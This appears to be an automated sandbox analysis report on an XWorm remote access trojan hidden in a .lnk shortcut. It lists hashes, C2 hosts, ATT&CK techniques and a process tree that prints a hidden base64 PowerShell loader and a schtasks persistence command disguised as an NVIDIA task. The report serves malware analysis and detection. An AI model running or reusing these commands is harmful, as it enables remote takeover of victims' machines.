xworm | 22deca7853e87df24e07dda90de8b271c10a1a834071016027bcfcd5e1a9025a

General

Target

example.lnk
Size

106KB
MD5

7700437a5f513b84c95bd3021e9c6eb5
SHA1

197b8e9a62c2d1116934387ed4311d0fa4d972c4
SHA256

22deca7853e87df24e07dda90de8b271c10a1a834071016027bcfcd5e1a9025a
SHA512

c73308cce581200b34d719100fe38001dcf30a6d8d58d1032410679935984d4348292a4c96d21013c5febfa8063a8a9b34ef7b0a84aa809617bfab6306094d04
SSDEEP

1536:aMFdgMwrXpEaDF/iCehwUdIYhojc2PUGbvkLIJ9P2kdHG:aMFdgNXJiCepWYhn2PjbJjP2kdHG

Score

10^/10

xworm execution rat trojan

Malware Config

Extracted

Family

xworm

Version

5.0

C2

casino-offline.gl.at.ply.gg:30120

181.214.214.6:30120

Mutex

yPPDzVqNXorYr6Q9

Attributes

Install_directory
%ProgramData%
install_file
NVIDIA app.exe

aes.plain

Signatures

Detect Xworm Payload 2 IoCs

resource	yara_rule
behavioral1/files/0x00080000000195c6-52.dat	family_xworm
behavioral1/memory/392-53-0x0000000000300000-0x0000000000310000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2708	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
392	XClient.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Opens file in notepad (likely ransom note) 1 IoCs

ransomware

pid	Process
2152	NOTEPAD.EXE

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
2968	schtasks.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2708	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	2708	powershell.exe
Token: SeDebugPrivilege	392	XClient.exe
Token: SeDebugPrivilege	392	XClient.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 2808 wrote to memory of 2708	2808	cmd.exe	31
PID 2808 wrote to memory of 2708	2808	cmd.exe	31
PID 2808 wrote to memory of 2708	2808	cmd.exe	31
PID 2708 wrote to memory of 2152	2708	powershell.exe	32
PID 2708 wrote to memory of 2152	2708	powershell.exe	32
PID 2708 wrote to memory of 2152	2708	powershell.exe	32
PID 2708 wrote to memory of 392	2708	powershell.exe	33
PID 2708 wrote to memory of 392	2708	powershell.exe	33
PID 2708 wrote to memory of 392	2708	powershell.exe	33
PID 392 wrote to memory of 2968	392	XClient.exe	34
PID 392 wrote to memory of 2968	392	XClient.exe	34
PID 392 wrote to memory of 2968	392	XClient.exe	34

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\example.lnk
1⤵
- Suspicious use of WriteProcessMemory
PID:2808
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noni -noe -WindowStyle hidden -e JABzAGMAcgBpAHAAdABfAHMAdABhAHIAdABfAGIAeQB0AGUAIAA9ACAAMAB4ADAAMAAwADEAOQBlAGYANgAKACQAcwBjAHIAaQBwAHQAXwBsAGUAbgBnAHQAaAAgAD0AIAAyADcAOQAyADsACgAkAGYAaQBsAGUAbgBhAG0AZQAgAD0AIABHAGUAdAAtAEMAaABpAGwAZABJAHQAZQBtACAAKgAuAGwAbgBrACAAfAAgAFcAaABlAHIAZQAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBMAGUAbgBnAHQAaAAgAC0AZwB0ACAANQAxADIAMAAwAH0AIAB8ACAAUwBlAGwAZQBjAHQALQBPAGIAagBlAGMAdAAgAC0ARQB4AHAAYQBuAGQAUAByAG8AcABlAHIAdAB5ACAATgBhAG0AZQA7AAoACgBpAGYAIAAoAC0AbgBvAHQAKABUAGUAcwB0AC0AUABhAHQAaAAgACQAZgBpAGwAZQBuAGEAbQBlACkAKQAKAHsACgAkAHYAYQBsACAAPQAgAEcAZQB0AC0AQwBoAGkAbABkAEkAdABlAG0AIAAtAFAAYQB0AGgAIAAuAC8AIAAtAEYAaQBsAHQAZQByACAAJABmAGkAbABlAG4AYQBtAGUAIAAtAFIAZQBjAHUAcgBzAGUAOwAKAGkAZgAgACgALQBuAG8AdAAgACQAdgBhAGwAKQAKAHsACgBlAHgAaQB0AAoAfQAKAFsASQBPAC4ARABpAHIAZQBjAHQAbwByAHkAXQA6ADoAUwBlAHQAQwB1AHIAcgBlAG4AdABEAGkAcgBlAGMAdABvAHIAeQAoACQAdgBhAGwALgBEAGkAcgBlAGMAdABvAHIAeQBOAGEAbQBlACkAOwAKAH0ACgAkAGYAaQBsAGUAcwB0AHIAZQBhAG0AIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAEYAaQBsAGUAUwB0AHIAZQBhAG0AIAAkAGYAaQBsAGUAbgBhAG0AZQAsACcATwBwAGUAbgAnACwAJwBSAGUAYQBkACcALAAnAFIAZQBhAGQAVwByAGkAdABlACcAOwAKACQAdgBhAGwAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAGIAeQB0AGUAWwBdACgAJABzAGMAcgBpAHAAdABfAGwAZQBuAGcAdABoACkAOwAKACQAcgAgAD0AIAAkAGYAaQBsAGUAcwB0AHIAZQBhAG0ALgBTAGUAZQBrACgAJABzAGMAcgBpAHAAdABfAHMAdABhAHIAdABfAGIAeQB0AGUALABbAEkATwAuAFMAZQBlAGsATwByAGkAZwBpAG4AXQA6ADoAQgBlAGcAaQBuACkAOwAKACQAcgAgAD0AIAAkAGYAaQBsAGUAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJAB2AGEAbAAsADAALAAkAHMAYwByAGkAcAB0AF8AbABlAG4AZwB0AGgAKQA7AAoAJAB2AGEAbAAgAD0AIABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABDAGgAYQByAEEAcgByAGEAeQAoACQAdgBhAGwALAAwACwAJAB2AGEAbAAuAEwAZQBuAGcAdABoACkAOwAKACQAcwB0AHIAaQBuAGcAIAA9ACAAWwBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJAB2AGEAbAApADsACgBpAGUAeAAgACQAcwB0AHIAaQBuAGcAOwA=
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2708
- - C:\Windows\system32\NOTEPAD.EXE
    "C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\AppData\Local\Temp\tesasd.txt
    3⤵
    - Opens file in notepad (likely ransom note)
    PID:2152
- - C:\Users\Admin\AppData\Local\XClient.exe
    "C:\Users\Admin\AppData\Local\XClient.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:392
  - - C:\Windows\System32\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "NVIDIA app" /tr "C:\ProgramData\NVIDIA app.exe"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:2968

C:\Windows\system32\taskeng.exe
taskeng.exe {5C937719-C58F-4D2F-A9F2-A39FDCA07A8C} S-1-5-21-3692679935-4019334568-335155002-1000:BCXRJFKE\Admin:Interactive:[1]
1⤵
PID:564

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Persistence

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Privilege Escalation

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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C:\Users\Admin\AppData\Local\Temp\tesasd.txt

Filesize
52KB

MD5
11007bb286caf468648bfdb698077dbe

SHA1
c75bacef9096d5e8d3613e062ca10acb492a2d88

SHA256
04864cb1cc9647bd297b3bf8818595fc65d870a8fa74ee3a420fedfcafdfa292

SHA512
8ef29a7c561a224fca5ff289103b7c8e84c12f92e954bc3751907c430562f42c018aa8f5d7599852dea17bccf93e5fbb2e47cc75ba9ce377b58981f011e2ac17

Download Submit
C:\Users\Admin\AppData\Local\XClient.exe

Filesize
39KB

MD5
bb47aca4696a06a1d96fc38c1c086354

SHA1
d4cafff056953d497b1b5679ec65819d93c99224

SHA256
577597b7064e7fd13a88fa2bdf746b1b9538be28548e11e34994c251ab544b15

SHA512
0c024e6ecf8f07869c4485d8fa01126adf54fb5fa5b10f0117651113b52bd9c92080d72174151339b5e4aded2221fdf7be22f99de3e660fe4d43cec21dc21f39

Download Submit
memory/392-53-0x0000000000300000-0x0000000000310000-memory.dmp

Filesize
64KB

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memory/2708-41-0x000007FEF55D0000-0x000007FEF5F6D000-memory.dmp

Filesize
9.6MB

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memory/2708-42-0x000007FEF55D0000-0x000007FEF5F6D000-memory.dmp

Filesize
9.6MB

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memory/2708-43-0x000007FEF55D0000-0x000007FEF5F6D000-memory.dmp

Filesize
9.6MB

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memory/2708-44-0x000007FEF55D0000-0x000007FEF5F6D000-memory.dmp

Filesize
9.6MB

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memory/2708-45-0x000007FEF55D0000-0x000007FEF5F6D000-memory.dmp

Filesize
9.6MB

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memory/2708-38-0x000007FEF588E000-0x000007FEF588F000-memory.dmp

Filesize
4KB

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memory/2708-40-0x0000000002380000-0x0000000002388000-memory.dmp

Filesize
32KB

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memory/2708-39-0x000000001B240000-0x000000001B522000-memory.dmp

Filesize
2.9MB

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memory/2708-55-0x000007FEF55D0000-0x000007FEF5F6D000-memory.dmp

Filesize
9.6MB

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memory/2708-56-0x000007FEF588E000-0x000007FEF588F000-memory.dmp

Filesize
4KB

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Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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